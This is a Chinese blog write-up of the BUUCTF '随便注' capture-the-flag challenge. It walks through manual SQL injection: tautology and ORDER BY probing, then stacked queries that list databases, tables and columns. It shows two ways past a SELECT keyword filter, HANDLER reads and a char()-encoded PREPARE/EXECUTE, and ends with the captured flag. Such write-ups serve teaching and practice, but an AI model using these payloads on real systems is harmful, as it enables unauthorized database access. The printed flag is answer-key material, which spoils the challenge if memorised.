buuctf_随便注【手工注入】

0x01 题目链接

https://buuoj.cn/challengeshttps://buuoj.cn/challenges

0x02 题型

 查询页面

那么先尝试万能钥匙注入

构造payload

1' or 1=1#

发现存在注入点,尝试使用order by,判断的字段数

 发现当等于3时,报错,那么字段为2【:为什么查询末尾变成了--+而不是#,应为#在hackbar里用不了,--+可以,都是注释的意思】

接着使用常规的联合查询语句

构造payload

-1' union select 1,2--+

既然都对关键字过滤了,那么换一种思路,如果用堆叠注入呢

构造payload

 -1'; show databases; --+

成功爆出一堆数据库名,尝试爆出表名

构造payload

-1';show tables; --+

查询第一张表的字段:

构造payload 

-1';show columns from  `1919810931114514`; --+

 【:当表名为数字时,该表名要用魔术引号,即反引号包起来查询】

有flag字段,证明在这个表中

0x03 不同解法

第一种:

        因为select关键字被过滤了,那么可以尝试使用handler来进行替代

构造payload

-1';handler `1919810931114514` open as `a`;handler `a` read next;--+

第二种

        虽然过滤了关键字,但是mysql有个特性,它支持10进制编码的执行,那么可以尝试把查询语句select进行编码

知识点:

SET @tn = 'hahaha';  //存储表名
SET @sqli = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

构造payload

 -1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;--+

 

flag{49e1b425-331c-44f6-b6cf-bfb92ff68d29}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值